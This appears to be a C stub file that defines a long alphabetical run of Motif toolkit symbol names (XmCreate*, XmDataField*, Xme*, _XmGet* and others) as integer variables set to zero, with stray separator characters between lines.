int _XmConvertComplete = 0;
|
||||
int _XmConvertCSToString = 0;
|
||||
int _XmConvertFactor = 0;
|
||||
int _XmConvertFloatUnitsToIntUnits = 0;
|
||||
int _XmConvertHandler = 0;
|
||||
int _XmConvertHandlerSetLocal = 0;
|
||||
int _XmConvertStringToUnits = 0;
|
||||
int XmConvertStringToUnits = 0;
|
||||
int _XmConvertToBW = 0;
|
||||
int _XmConvertUnits = 0;
|
||||
int XmConvertUnits = 0;
|
||||
int _XmCopyCursorIconQuark = 0;
|
||||
int XmCopyISOLatin1Lowered = 0;
|
||||
int _XmCountVaList = 0;
|
||||
int XmCreateArrowButton = 0;
|
||||
int XmCreateArrowButtonGadget = 0;
|
||||
int _XmCreateArrowPixmaps = 0;
|
||||
int XmCreateBulletinBoard = 0;
|
||||
int XmCreateBulletinBoardDialog = 0;
|
||||
int XmCreateButtonBox = 0;
|
||||
int XmCreateCascadeButton = 0;
|
||||
int XmCreateCascadeButtonGadget = 0;
|
||||
int XmCreateColorSelector = 0;
|
||||
int XmCreateColumn = 0;
|
||||
int XmCreateCombinationBox2 = 0;
|
||||
int XmCreateComboBox = 0;
|
||||
int XmCreateCommand = 0;
|
||||
int XmCreateCommandDialog = 0;
|
||||
int XmCreateContainer = 0;
|
||||
int XmCreateDataField = 0;
|
||||
int XmCreateDialogShell = 0;
|
||||
int XmCreateDragIcon = 0;
|
||||
int XmCreateDrawingArea = 0;
|
||||
int XmCreateDrawnButton = 0;
|
||||
int XmCreateDropDown = 0;
|
||||
int XmCreateDropDownComboBox = 0;
|
||||
int XmCreateDropDownList = 0;
|
||||
int XmCreateErrorDialog = 0;
|
||||
int XmCreateExt18List = 0;
|
||||
int XmCreateExtended18List = 0;
|
||||
int XmCreateFileSelectionBox = 0;
|
||||
int XmCreateFileSelectionDialog = 0;
|
||||
int _XmCreateFocusData = 0;
|
||||
int XmCreateFontSelector = 0;
|
||||
int XmCreateForm = 0;
|
||||
int XmCreateFormDialog = 0;
|
||||
int XmCreateFrame = 0;
|
||||
int XmCreateGrabShell = 0;
|
||||
int XmCreateIconBox = 0;
|
||||
int XmCreateIconButton = 0;
|
||||
int XmCreateIconGadget = 0;
|
||||
int XmCreateIconHeader = 0;
|
||||
int XmCreateInformationDialog = 0;
|
||||
int XmCreateLabel = 0;
|
||||
int XmCreateLabelGadget = 0;
|
||||
int XmCreateList = 0;
|
||||
int XmCreateMainWindow = 0;
|
||||
int XmCreateMenuBar = 0;
|
||||
int _XmCreateMenuCursor = 0;
|
||||
int XmCreateMenuShell = 0;
|
||||
int XmCreateMessageBox = 0;
|
||||
int XmCreateMessageDialog = 0;
|
||||
int XmCreateMultiList = 0;
|
||||
int XmCreateNotebook = 0;
|
||||
int XmCreateOptionMenu = 0;
|
||||
int XmCreateOutline = 0;
|
||||
int XmCreatePaned = 0;
|
||||
int XmCreatePanedWindow = 0;
|
||||
int XmCreatePopupMenu = 0;
|
||||
int XmCreatePromptDialog = 0;
|
||||
int XmCreatePulldownMenu = 0;
|
||||
int XmCreatePushButton = 0;
|
||||
int XmCreatePushButtonGadget = 0;
|
||||
int XmCreateQuestionDialog = 0;
|
||||
int XmCreateRadioBox = 0;
|
||||
int _XmCreateRenderTable = 0;
|
||||
int _XmCreateRendition = 0;
|
||||
int XmCreateRowColumn = 0;
|
||||
int XmCreateScale = 0;
|
||||
int XmCreateScrollBar = 0;
|
||||
int XmCreateScrolledList = 0;
|
||||
int XmCreateScrolledText = 0;
|
||||
int XmCreateScrolledWindow = 0;
|
||||
int XmCreateSelectionBox = 0;
|
||||
int XmCreateSelectionDialog = 0;
|
||||
int XmCreateSeparator = 0;
|
||||
int XmCreateSeparatorGadget = 0;
|
||||
int XmCreateSimpleCheckBox = 0;
|
||||
int XmCreateSimpleMenuBar = 0;
|
||||
int XmCreateSimpleOptionMenu = 0;
|
||||
int XmCreateSimplePopupMenu = 0;
|
||||
int XmCreateSimplePulldownMenu = 0;
|
||||
int XmCreateSimpleRadioBox = 0;
|
||||
int XmCreateSimpleSpinBox = 0;
|
||||
int XmCreateSpinBox = 0;
|
||||
int _XmCreateTab = 0;
|
||||
int XmCreateTabBox = 0;
|
||||
int _XmCreateTabList = 0;
|
||||
int XmCreateTabStack = 0;
|
||||
int XmCreateTemplateDialog = 0;
|
||||
int XmCreateText = 0;
|
||||
int XmCreateTextField = 0;
|
||||
int XmCreateToggleButton = 0;
|
||||
int XmCreateToggleButtonGadget = 0;
|
||||
int XmCreateTree = 0;
|
||||
int _XmCreateVisibilityRect = 0;
|
||||
int XmCreateWarningDialog = 0;
|
||||
int XmCreateWorkArea = 0;
|
||||
int XmCreateWorkingDialog = 0;
|
||||
int XmCvtByteStreamToXmString = 0;
|
||||
int XmCvtCTToXmString = 0;
|
||||
int XmCvtFromHorizontalPixels = 0;
|
||||
int XmCvtFromVerticalPixels = 0;
|
||||
int XmCvtStringToUnitType = 0;
|
||||
int XmCvtTextPropertyToXmStringTable = 0;
|
||||
int XmCvtTextToXmString = 0;
|
||||
int XmCvtToHorizontalPixels = 0;
|
||||
int XmCvtToVerticalPixels = 0;
|
||||
int XmCvtXmStringTableToTextProperty = 0;
|
||||
int XmCvtXmStringToByteStream = 0;
|
||||
int _XmCvtXmStringToCT = 0;
|
||||
int XmCvtXmStringToCT = 0;
|
||||
int XmCvtXmStringToText = 0;
|
||||
int _XmCvtXmStringToUTF8String = 0;
|
||||
int XmCvtXmStringToUTF8String = 0;
|
||||
int _XmDataF_EventBindings1 = 0;
|
||||
int _XmDataF_EventBindings2 = 0;
|
||||
int _XmDataF_EventBindings3 = 0;
|
||||
int _XmDataF_EventBindings4 = 0;
|
||||
int xmDataFieldClassRec = 0;
|
||||
int _XmDataFieldConvert = 0;
|
||||
int XmDataFieldCopy = 0;
|
||||
int _XmDataFieldCountBytes = 0;
|
||||
int XmDataFieldCut = 0;
|
||||
int _XmDataFieldDeselectSelection = 0;
|
||||
int XmDataFielddf_ClearSelection = 0;
|
||||
int _XmDataFielddf_SetCursorPosition = 0;
|
||||
int XmDataFielddf_SetCursorPosition = 0;
|
||||
int _XmDataFielddf_SetDestination = 0;
|
||||
int _XmDataFieldDrawInsertionPoint = 0;
|
||||
int XmDataFieldGetAddMode = 0;
|
||||
int XmDataFieldGetBaseline = 0;
|
||||
int XmDataFieldGetCursorPosition = 0;
|
||||
int _XmDataFieldGetDropReciever = 0;
|
||||
int XmDataFieldGetEditable = 0;
|
||||
int XmDataFieldGetInsertionPosition = 0;
|
||||
int XmDataFieldGetLastPosition = 0;
|
||||
int XmDataFieldGetMaxLength = 0;
|
||||
int XmDataFieldGetSelection = 0;
|
||||
int XmDataFieldGetSelectionPosition = 0;
|
||||
int XmDataFieldGetSelectionWcs = 0;
|
||||
int XmDataFieldGetString = 0;
|
||||
int XmDataFieldGetStringWcs = 0;
|
||||
int XmDataFieldGetSubstring = 0;
|
||||
int XmDataFieldGetSubstringWcs = 0;
|
||||
int XmDataFieldInsert = 0;
|
||||
int XmDataFieldInsertWcs = 0;
|
||||
int _XmDataFieldLoseSelection = 0;
|
||||
int XmDataFieldPaste = 0;
|
||||
int XmDataFieldPosToXY = 0;
|
||||
int XmDataFieldRemove = 0;
|
||||
int XmDataFieldReplace = 0;
|
||||
int _XmDataFieldReplaceText = 0;
|
||||
int XmDataFieldReplaceWcs = 0;
|
||||
int XmDataFieldSetAddMode = 0;
|
||||
int _XmDataFieldSetClipRect = 0;
|
||||
int XmDataFieldSetEditable = 0;
|
||||
int XmDataFieldSetHighlight = 0;
|
||||
int XmDataFieldSetInsertionPosition = 0;
|
||||
int XmDataFieldSetMaxLength = 0;
|
||||
int _XmDataFieldSetSel2 = 0;
|
||||
int XmDataFieldSetSelection = 0;
|
||||
int XmDataFieldSetString = 0;
|
||||
int XmDataFieldShowPosition = 0;
|
||||
int _XmDataFieldStartSelection = 0;
|
||||
int xmDataFieldWidgetClass = 0;
|
||||
int XmDataFieldXYToPos = 0;
|
||||
int _XmDataFPrimClassExtRec = 0;
|
||||
int _XmDataFToggleCursorGC = 0;
|
||||
int XmDeactivateProtocol = 0;
|
||||
int _XmDefaultColorObj = 0;
|
||||
int _XmDefaultDragIconQuark = 0;
|
||||
int _XmdefaultTextActionsTable = 0;
|
||||
int _XmdefaultTextActionsTableSize = 0;
|
||||
int _XmDefaultVisualResources = 0;
|
||||
int xmDesktopClass = 0;
|
||||
int xmDesktopClassRec = 0;
|
||||
int xmDesktopObjectClass = 0;
|
||||
int _XmDestinationHandler = 0;
|
||||
int _XmDestroyDefaultDragIcon = 0;
|
||||
int _XmDestroyFocusData = 0;
|
||||
int _XmDestroyMotifWindow = 0;
|
||||
int _XmDestroyParentCallback = 0;
|
||||
int XmDestroyPixmap = 0;
|
||||
int _XmDestroyTearOffShell = 0;
|
||||
int xmDialogShellClassRec = 0;
|
||||
int xmDialogShellExtClassRec = 0;
|
||||
int xmDialogShellExtObjectClass = 0;
|
||||
int xmDialogShellWidgetClass = 0;
|
||||
int _XmDifferentBackground = 0;
|
||||
int _XmDirectionDefault = 0;
|
||||
int XmDirectionMatch = 0;
|
||||
int XmDirectionMatchPartial = 0;
|
||||
int XmDirectionToStringDirection = 0;
|
||||
int _XmDismissTearOff = 0;
|
||||
int _XmDispatchGadgetInput = 0;
|
||||
int _XmDisplay_baseTranslations = 0;
|
||||
int xmDisplayClass = 0;
|
||||
int xmDisplayClassRec = 0;
|
||||
int xmDisplayObjectClass = 0;
|
||||
int _XmDoGadgetTraversal = 0;
|
||||
int XmDragCancel = 0;
|
||||
int _XmDragC_defaultTranslations = 0;
|
||||
int xmDragContextClass = 0;
|
||||
int xmDragContextClassRec = 0;
|
||||
int xmDragIconClassRec = 0;
|
||||
int _XmDragIconClean = 0;
|
||||
int _XmDragIconIsDirty = 0;
|
||||
int xmDragIconObjectClass = 0;
|
||||
int _XmDragOverChange = 0;
|
||||
int _XmDragOverFinish = 0;
|
||||
int _XmDragOverGetActiveCursor = 0;
|
||||
int _XmDragOverHide = 0;
|
||||
int _XmDragOverMove = 0;
|
||||
int _XmDragOverSetInitialPosition = 0;
|
||||
int xmDragOverShellClassRec = 0;
|
||||
int xmDragOverShellWidgetClass = 0;
|
||||
int _XmDragOverShow = 0;
|
||||
int XmDragStart = 0;
|
||||
int _XmDragUnderAnimation = 0;
|
||||
int _XmDrawArrow = 0;
|
||||
int XmDrawBevel = 0;
|
||||
int _XmDrawBorder = 0;
|
||||
int _XmDrawDiamond = 0;
|
||||
int _XmDrawDiamondButton = 0;
|
||||
int _XmDrawHighlight = 0;
|
||||
int _XmDrawingA_defaultTranslations = 0;
|
||||
int xmDrawingAreaClassRec = 0;
|
||||
int _XmDrawingAreaInput = 0;
|
||||
int xmDrawingAreaWidgetClass = 0;
|
||||
int _XmDrawingA_traversalTranslations = 0;
|
||||
int _XmDrawnB_defaultTranslations = 0;
|
||||
int _XmDrawnB_menuTranslations = 0;
|
||||
int _XmDrawnBPrimClassExtRec = 0;
|
||||
int xmDrawnButtonClassRec = 0;
|
||||
int xmDrawnButtonWidgetClass = 0;
|
||||
int _XmDrawSeparator = 0;
|
||||
int _XmDrawShadow = 0;
|
||||
int _XmDrawShadows = 0;
|
||||
int _XmDrawShadowType = 0;
|
||||
int _XmDrawSimpleHighlight = 0;
|
||||
int _XmDrawSquareButton = 0;
|
||||
int xmDropDownClassRec = 0;
|
||||
int XmDropDownGetArrow = 0;
|
||||
int XmDropDownGetChild = 0;
|
||||
int XmDropDownGetLabel = 0;
|
||||
int XmDropDownGetList = 0;
|
||||
int XmDropDownGetText = 0;
|
||||
int XmDropDownGetValue = 0;
|
||||
int xmDropDownWidgetClass = 0;
|
||||
int XmDropSiteConfigureStackingOrder = 0;
|
||||
int XmDropSiteEndUpdate = 0;
|
||||
int XmDropSiteGetActiveVisuals = 0;
|
||||
int xmDropSiteManagerClassRec = 0;
|
||||
int xmDropSiteManagerObjectClass = 0;
|
||||
int XmDropSiteQueryStackingOrder = 0;
|
||||
int XmDropSiteRegister = 0;
|
||||
int XmDropSiteRegistered = 0;
|
||||
int XmDropSiteRetrieve = 0;
|
||||
int _XmDropSiteShell = 0;
|
||||
int XmDropSiteStartUpdate = 0;
|
||||
int XmDropSiteUnregister = 0;
|
||||
int XmDropSiteUpdate = 0;
|
||||
int _XmDropSiteWrapperCandidate = 0;
|
||||
int XmDropTransferAdd = 0;
|
||||
int xmDropTransferClassRec = 0;
|
||||
int xmDropTransferObjectClass = 0;
|
||||
int XmDropTransferStart = 0;
|
||||
int _XmDSIAddChild = 0;
|
||||
int _XmDSIDestroy = 0;
|
||||
int _XmDSIGetBorderWidth = 0;
|
||||
int _XmDSIGetChildPosition = 0;
|
||||
int _XmDSIRemoveChild = 0;
|
||||
int _XmDSIReplaceChild = 0;
|
||||
int _XmDSISwapChildren = 0;
|
||||
int _XmDSMGetTreeFromDSM = 0;
|
||||
int _XmDSMUpdate = 0;
|
||||
int _XmDSResources = 0;
|
||||
int XmeAddFocusChangeCallback = 0;
|
||||
int XmeClearBorder = 0;
|
||||
int XmeClipboardSink = 0;
|
||||
int XmeClipboardSource = 0;
|
||||
int XmeConfigureObject = 0;
|
||||
int XmeConvertMerge = 0;
|
||||
int XmeCountVaListSimple = 0;
|
||||
int XmeCreateClassDialog = 0;
|
||||
int _XmEditResCheckMessages = 0;
|
||||
int XmeDragSource = 0;
|
||||
int XmeDrawArrow = 0;
|
||||
int XmeDrawCircle = 0;
|
||||
int XmeDrawDiamond = 0;
|
||||
int XmeDrawHighlight = 0;
|
||||
int XmeDrawIndicator = 0;
|
||||
int XmeDrawPolygonShadow = 0;
|
||||
int XmeDrawSeparator = 0;
|
||||
int XmeDrawShadows = 0;
|
||||
int XmeDropSink = 0;
|
||||
int XmeFlushIconFileCache = 0;
|
||||
int XmeFocusIsInShell = 0;
|
||||
int XmeFromHorizontalPixels = 0;
|
||||
int XmeFromVerticalPixels = 0;
|
||||
int XmeGetColorObjData = 0;
|
||||
int XmeGetDefaultPixel = 0;
|
||||
int XmeGetDefaultRenderTable = 0;
|
||||
int XmeGetDesktopColorCells = 0;
|
||||
int XmeGetDirection = 0;
|
||||
int XmeGetEncodingAtom = 0;
|
||||
int XmeGetHomeDirName = 0;
|
||||
int XmeGetIconControlInfo = 0;
|
||||
int XmeGetLocalizedString = 0;
|
||||
int XmeGetMask = 0;
|
||||
int XmeGetNextCharacter = 0;
|
||||
int XmeGetNullCursor = 0;
|
||||
int XmeGetPixelData = 0;
|
||||
int XmeGetPixmapData = 0;
|
||||
int XmeGetTextualDragIcon = 0;
|
||||
int XmeMicroSleep = 0;
|
||||
int _XmEmptyRect = 0;
|
||||
int XmeNamedSink = 0;
|
||||
int XmeNamedSource = 0;
|
||||
int XmeNamesAreEqual = 0;
|
||||
int XmeNavigChangeManaged = 0;
|
||||
int _XmEnterGadget = 0;
|
||||
int _XmEnterRowColumn = 0;
|
||||
int _XmEntryByteCountGet = 0;
|
||||
int _XmEntryCacheGet = 0;
|
||||
int _XmEntryCharCountGet = 0;
|
||||
int _XmEntryDirectionGet = 0;
|
||||
int _XmEntryDirectionSet = 0;
|
||||
int _XmEntryPopGet = 0;
|
||||
int _XmEntryPushGet = 0;
|
||||
int _XmEntryRendBeginCountGet = 0;
|
||||
int _XmEntryRendBeginGet = 0;
|
||||
int _XmEntryRendBeginSet = 0;
|
||||
int _XmEntryRendEndCountGet = 0;
|
||||
int _XmEntryRendEndGet = 0;
|
||||
int _XmEntryRendEndSet = 0;
|
||||
int _XmEntryTabsGet = 0;
|
||||
int _XmEntryTag = 0;
|
||||
int _XmEntryTagSet = 0;
|
||||
int _XmEntryTextGet = 0;
|
||||
int _XmEntryTextSet = 0;
|
||||
int _XmEntryTextTypeGet = 0;
|
||||
int XmeParseUnits = 0;
|
||||
int XmePrimarySink = 0;
|
||||
int XmePrimarySource = 0;
|
||||
int XmeQueryBestCursorSize = 0;
|
||||
int _XmEraseShadow = 0;
|
||||
int XmeRedisplayGadgets = 0;
|
||||
int XmeRemoveFocusChangeCallback = 0;
|
||||
int XmeRenderTableGetDefaultFont = 0;
|
||||
int XmeReplyToQueryGeometry = 0;
|
||||
int XmeResolvePartOffsets = 0;
|
||||
int XmeSecondarySink = 0;
|
||||
int XmeSecondarySource = 0;
|
||||
int XmeSecondaryTransfer = 0;
|
||||
int XmeSetWMShellTitle = 0;
|
||||
int XmeStandardConvert = 0;
|
||||
int XmeStandardTargets = 0;
|
||||
int XmeStringGetComponent = 0;
|
||||
int XmeStringIsValid = 0;
|
||||
int XmeToHorizontalPixels = 0;
|
||||
int XmeToVerticalPixels = 0;
|
||||
int XmeTraitGet = 0;
|
||||
int XmeTraitSet = 0;
|
||||
int XmeTransferAddDoneProc = 0;
|
||||
int XmeUseColorObj = 0;
|
||||
int XmeVirtualToActualKeysyms = 0;
|
||||
int XmeVLCreateWidget = 0;
|
||||
int XmeWarning = 0;
|
||||
int XME_WARNING = 0;
|
||||
int XmeXpmAttributesSize = 0;
|
||||
int XmeXpmCreateBufferFromImage = 0;
|
||||
int XmeXpmCreateBufferFromPixmap = 0;
|
||||
int XmeXpmCreateBufferFromXpmImage = 0;
|
||||
int XmeXpmCreateDataFromImage = 0;
|
||||
int XmeXpmCreateDataFromPixmap = 0;
|
||||
int XmeXpmCreateDataFromXpmImage = 0;
|
||||
int XmeXpmCreateImageFromBuffer = 0;
|
||||
int XmeXpmCreateImageFromData = 0;
|
||||
int XmeXpmCreateImageFromXpmImage = 0;
|
||||
int XmeXpmCreatePixmapFromBuffer = 0;
|
||||
int XmeXpmCreatePixmapFromData = 0;
|
||||
int XmeXpmCreatePixmapFromXpmImage = 0;
|
||||
int XmeXpmCreateXpmImageFromBuffer = 0;
|
||||
int XmeXpmCreateXpmImageFromData = 0;
|
||||
int XmeXpmCreateXpmImageFromImage = 0;
|
||||
int XmeXpmCreateXpmImageFromPixmap = 0;
|
||||
int XmeXpmFree = 0;
|
||||
int XmeXpmFreeAttributes = 0;
|
||||
int XmeXpmFreeExtensions = 0;
|
||||
int XmeXpmFreeXpmImage = 0;
|
||||
int XmeXpmFreeXpmInfo = 0;
|
||||
int XmeXpmGetErrorString = 0;
|
||||
int XmeXpmLibraryVersion = 0;
|
||||
int XmeXpmReadFileToBuffer = 0;
|
||||
int XmeXpmReadFileToData = 0;
|
||||
int XmeXpmReadFileToImage = 0;
|
||||
int XmeXpmReadFileToPixmap = 0;
|
||||
int XmeXpmReadFileToXpmImage = 0;
|
||||
int XmeXpmWriteFileFromBuffer = 0;
|
||||
int XmeXpmWriteFileFromData = 0;
|
||||
int XmeXpmWriteFileFromImage = 0;
|
||||
int XmeXpmWriteFileFromPixmap = 0;
|
||||
int XmeXpmWriteFileFromXpmImage = 0;
|
||||
int xmExt18ListClassRec = 0;
|
||||
int XmExt18ListDeselectItems = 0;
|
||||
int XmExt18ListDeselectRow = 0;
|
||||
int XmExt18ListGetSelectedRowArray = 0;
|
||||
int XmExt18ListGetSelectedRows = 0;
|
||||
int XmExt18ListMakeRowVisible = 0;
|
||||
int XmExt18ListSelectAllItems = 0;
|
||||
int XmExt18ListSelectItems = 0;
|
||||
int XmExt18ListSelectRow = 0;
|
||||
int XmExt18ListToggleRow = 0;
|
||||
int XmExt18ListUnselectAllItems = 0;
|
||||
int XmExt18ListUnselectItem = 0;
|
||||
int xmExt18ListWidgetClass = 0;
|
||||
int xmExtClassRec = 0;
|
||||
int _XmExtGetValuesHook = 0;
|
||||
int _XmExtHighlightBorder = 0;
|
||||
int _XmExtImportArgs = 0;
|
||||
int _XmExtObjAlloc = 0;
|
||||
int xmExtObjectClass = 0;
|
||||
int _XmExtObjFree = 0;
|
||||
int _XmExtUnhighlightBorder = 0;
|
||||
int _Xm_fastPtr = 0;
|
||||
int _XmFastSubclassInit = 0;
|
||||
int _XmFileSBGeoMatrixCreate = 0;
|
||||
int xmFileSelectionBoxClassRec = 0;
|
||||
int _XmFileSelectionBoxCreateDirList = 0;
|
||||
int _XmFileSelectionBoxCreateDirListLabel = 0;
|
||||
int _XmFileSelectionBoxCreateFilterLabel = 0;
|
||||
int _XmFileSelectionBoxCreateFilterText = 0;
|
||||
int _XmFileSelectionBoxFocusMoved = 0;
|
||||
int XmFileSelectionBoxGetChild = 0;
|
||||
int _XmFileSelectionBoxGetDirectory = 0;
|
||||
int _XmFileSelectionBoxGetDirListItemCount = 0;
|
||||
int _XmFileSelectionBoxGetDirListItems = 0;
|
||||
int _XmFileSelectionBoxGetDirListLabelString = 0;
|
||||
int _XmFileSelectionBoxGetDirMask = 0;
|
||||
int _XmFileSelectionBoxGetFilterLabelString = 0;
|
||||
int _XmFileSelectionBoxGetListItemCount = 0;
|
||||
int _XmFileSelectionBoxGetListItems = 0;
|
||||
int _XmFileSelectionBoxGetNoMatchString = 0;
|
||||
int _XmFileSelectionBoxGetPattern = 0;
|
||||
int _XmFileSelectionBoxNoGeoRequest = 0;
|
||||
int _XmFileSelectionBoxRestore = 0;
|
||||
int _XmFileSelectionBoxUpOrDown = 0;
|
||||
int xmFileSelectionBoxWidgetClass = 0;
|
||||
int XmFileSelectionDoSearch = 0;
|
||||
int _XmFilterArgs = 0;
|
||||
int _XmFilterResources = 0;
|
||||
int _XmFindNextTabGroup = 0;
|
||||
int _XmFindPrevTabGroup = 0;
|
||||
int _XmFindTabGroup = 0;
|
||||
int _XmFindTopMostShell = 0;
|
||||
int _XmFindTraversablePrim = 0;
|
||||
int _XmFocusInGadget = 0;
|
||||
int _XmFocusIsHere = 0;
|
||||
int _XmFocusIsInShell = 0;
|
||||
int _XmFocusModelChanged = 0;
|
||||
int _XmFocusOutGadget = 0;
|
||||
int XmFontListAdd = 0;
|
||||
int XmFontListAppendEntry = 0;
|
||||
int XmFontListCopy = 0;
|
||||
int XmFontListCreate = 0;
|
||||
int XmFontListCreate_r = 0;
|
||||
int XmFontListEntryCreate = 0;
|
||||
int XmFontListEntryCreate_r = 0;
|
||||
int XmFontListEntryFree = 0;
|
||||
int XmFontListEntryGetFont = 0;
|
||||
int XmFontListEntryGetTag = 0;
|
||||
int XmFontListEntryLoad = 0;
|
||||
int XmFontListFree = 0;
|
||||
int XmFontListFreeFontContext = 0;
|
||||
int _XmFontListGetDefaultFont = 0;
|
||||
int XmFontListGetNextFont = 0;
|
||||
int XmFontListInitFontContext = 0;
|
||||
int XmFontListNextEntry = 0;
|
||||
int XmFontListRemoveEntry = 0;
|
||||
int _XmFontListSearch = 0;
|
||||
int xmFontSelectorClassRec = 0;
|
||||
int xmFontSelectorWidgetClass = 0;
|
||||
int _XmForegroundColorDefault = 0;
|
||||
int xmFormClassRec = 0;
|
||||
int xmFormWidgetClass = 0;
|
||||
int xmFrameClassRec = 0;
|
||||
int _XmFrame_defaultTranslations = 0;
|
||||
int xmFrameWidgetClass = 0;
|
||||
int _XmFreeDragReceiverInfo = 0;
|
||||
int _XmFreeHashTable = 0;
|
||||
int _XmFreeMotifAtom = 0;
|
||||
int _XmFreeScratchPixmap = 0;
|
||||
int _XmFreeTravGraph = 0;
|
||||
int _XmFreeWidgetExtData = 0;
|
||||
int _XmFromHorizontalPixels = 0;
|
||||
int _XmFromLayoutDirection = 0;
|
||||
int _XmFromPanedPixels = 0;
|
||||
int _XmFromVerticalPixels = 0;
|
||||
int _XmGadClassExtRec = 0;
|
||||
int _XmGadgetActivate = 0;
|
||||
int _XmGadgetArm = 0;
|
||||
int _XmGadgetButtonMotion = 0;
|
||||
int xmGadgetClass = 0;
|
||||
int xmGadgetClassRec = 0;
|
||||
int _XmGadgetDrag = 0;
|
||||
int _XmGadgetGetValuesHook = 0;
|
||||
int _XmGadgetImportArgs = 0;
|
||||
int _XmGadgetImportSecondaryArgs = 0;
|
||||
int _XmGadgetKeyInput = 0;
|
||||
int _XmGadgetMultiActivate = 0;
|
||||
int _XmGadgetMultiArm = 0;
|
||||
int _XmGadgetSelect = 0;
|
||||
int _XmGadgetTraverseCurrent = 0;
|
||||
int _XmGadgetTraverseDown = 0;
|
||||
int _XmGadgetTraverseHome = 0;
|
||||
int _XmGadgetTraverseLeft = 0;
|
||||
int _XmGadgetTraverseNext = 0;
|
||||
int _XmGadgetTraverseNextTabGroup = 0;
|
||||
int _XmGadgetTraversePrev = 0;
|
||||
int _XmGadgetTraversePrevTabGroup = 0;
|
||||
int _XmGadgetTraverseRight = 0;
|
||||
int _XmGadgetTraverseUp = 0;
|
||||
int _XmGadgetWarning = 0;
|
||||
int _XmGeoAdjustBoxes = 0;
|
||||
int _XmGeoArrangeBoxes = 0;
|
||||
int _XmGeoBoxesSameHeight = 0;
|
||||
int _XmGeoBoxesSameWidth = 0;
|
||||
int _XmGeoClearRectObjAreas = 0;
|
||||
int _XmGeoCount_kids = 0;
|
||||
int _XmGeoGetDimensions = 0;
|
||||
int _XmGeoLoadValues = 0;
|
||||
int _XmGeoMatrixAlloc = 0;
|
||||
int _XmGeoMatrixFree = 0;
|
||||
int _XmGeoMatrixGet = 0;
|
||||
int _XmGeoMatrixSet = 0;
|
||||
int _XmGeometryEqual = 0;
|
||||
int _XmGeoReplyYes = 0;
|
||||
int _XmGeoSetupKid = 0;
|
||||
int _XmGetActiveDropSite = 0;
|
||||
int _XmGetActiveItem = 0;
|
||||
int _XmGetActiveProtocolStyle = 0;
|
||||
int _XmGetActiveTabGroup = 0;
|
||||
int _XmGetActiveTopLevelMenu = 0;
|
||||
int _XmGetActualClass = 0;
|
||||
int _XmGetArrowDrawRects = 0;
|
||||
int XmGetAtomName = 0;
|
||||
int _XmGetAudibleWarning = 0;
|
||||
int _XmGetBGPixmapName = 0;
|
||||
int _XmGetBitmapConversionModel = 0;
|
||||
int _XmGetBottomShadowColor = 0;
|
||||
int _XmGetClassExtensionPtr = 0;
|
||||
int _XmGetColorAllocationProc = 0;
|
||||
int XmGetColorCalculation = 0;
|
||||
int _XmGetColorCalculationProc = 0;
|
||||
int _XmGetColoredPixmap = 0;
|
||||
int _XmGetColors = 0;
|
||||
int XmGetColors = 0;
|
||||
int _XmGetDefaultBackgroundColorSpec = 0;
|
||||
int _XmGetDefaultColors = 0;
|
||||
int _XmGetDefaultDisplay = 0;
|
||||
int _XmGetDefaultFontList = 0;
|
||||
int _XmGetDefaultThresholdsForScreen = 0;
|
||||
int _XmGetDefaultTime = 0;
|
||||
int XmGetDestination = 0;
|
||||
int _XmGetDisplayObject = 0;
|
||||
int XmGetDragContext = 0;
|
||||
int _XmGetDragContextFromHandle = 0;
|
||||
int _XmGetDragCursorCachePtr = 0;
|
||||
int _XmGetDragProtocolStyle = 0;
|
||||
int _XmGetDragProxyWindow = 0;
|
||||
int _XmGetDragReceiverInfo = 0;
|
||||
int _XmGetDropSiteManagerObject = 0;
|
||||
int _XmGetEffectiveView = 0;
|
||||
int _XmGetEncodingRegistryTarget = 0;
|
||||
int _XmGetFirstFocus = 0;
|
||||
int _XmGetFirstFont = 0;
|
||||
int _XmGetFocus = 0;
|
||||
int _XmGetFocusData = 0;
|
||||
int _XmGetFocusFlag = 0;
|
||||
int _XmGetFocusPolicy = 0;
|
||||
int _XmGetFocusResetFlag = 0;
|
||||
int XmGetFocusWidget = 0;
|
||||
int _XmGetFontUnit = 0;
|
||||
int _XmGetHashEntryIterate = 0;
|
||||
int _XmGetHighlightColor = 0;
|
||||
int _XmGetIconControlInfo = 0;
|
||||
int XmGetIconFileName = 0;
|
||||
int _XmGetIconPixmapName = 0;
|
||||
int _XmGetImage = 0;
|
||||
int _XmGetImageAndHotSpotFromFile = 0;
|
||||
int _XmGetImageFromFile = 0;
|
||||
int _XmGetInDragMode = 0;
|
||||
int _XmGetInsensitiveStippleBitmap = 0;
|
||||
int _XmGetKidGeo = 0;
|
||||
int _XmGetLayoutDirection = 0;
|
||||
int _XmGetManagedInfo = 0;
|
||||
int _XmGetMaxCursorSize = 0;
|
||||
int _XmGetMBStringFromXmString = 0;
|
||||
int XmGetMenuCursor = 0;
|
||||
int _XmGetMenuCursorByScreen = 0;
|
||||
int _XmGetMenuProcContext = 0;
|
||||
int _XmGetMenuState = 0;
|
||||
int _XmGetMotifAtom = 0;
|
||||
int _XmGetMoveOpaqueByScreen = 0;
|
||||
int _XmGetNavigability = 0;
|
||||
int _XmGetNavigationType = 0;
|
||||
int _Xm_GetNewElement = 0;
|
||||
int XmGetNewPictureState = 0;
|
||||
int _XmGetNullCursor = 0;
|
||||
int _XmGetPixelData = 0;
|
||||
int _XmGetPixmap = 0;
|
||||
int XmGetPixmap = 0;
|
||||
int _XmGetPixmapBasedGC = 0;
|
||||
int XmGetPixmapByDepth = 0;
|
||||
int _XmGetPixmapData = 0;
|
||||
int _XmGetPointVisibility = 0;
|
||||
int _XmGetPopupMenuClick = 0;
|
||||
int XmGetPostedFromWidget = 0;
|
||||
int _XmGetRC_PopupPosted = 0;
|
||||
int _XmGetRealXlations = 0;
|
||||
int _XmGetScaledPixmap = 0;
|
||||
int XmGetScaledPixmap = 0;
|
||||
int _XmGetScreenObject = 0;
|
||||
int XmGetSecondaryResourceData = 0;
|
||||
int _XmGetTabGroup = 0;
|
||||
int XmGetTabGroup = 0;
|
||||
int XmGetTearOffControl = 0;
|
||||
int _XmGetTextualDragIcon = 0;
|
||||
int XmGetToolTipString = 0;
|
||||
int _XmGetTopShadowColor = 0;
|
||||
int _XmGetTransientFlag = 0;
|
||||
int _XmGetUnitType = 0;
|
||||
int _XmGetUnpostBehavior = 0;
|
||||
int XmGetVisibility = 0;
|
||||
int _XmGetWidgetExtData = 0;
|
||||
int _XmGetWidgetNavigPtrs = 0;
|
||||
int _XmGetWorldObject = 0;
|
||||
int _XmGetWrapperData = 0;
|
||||
int XmGetXmDisplay = 0;
|
||||
int _XmGetXmDisplayClass = 0;
|
||||
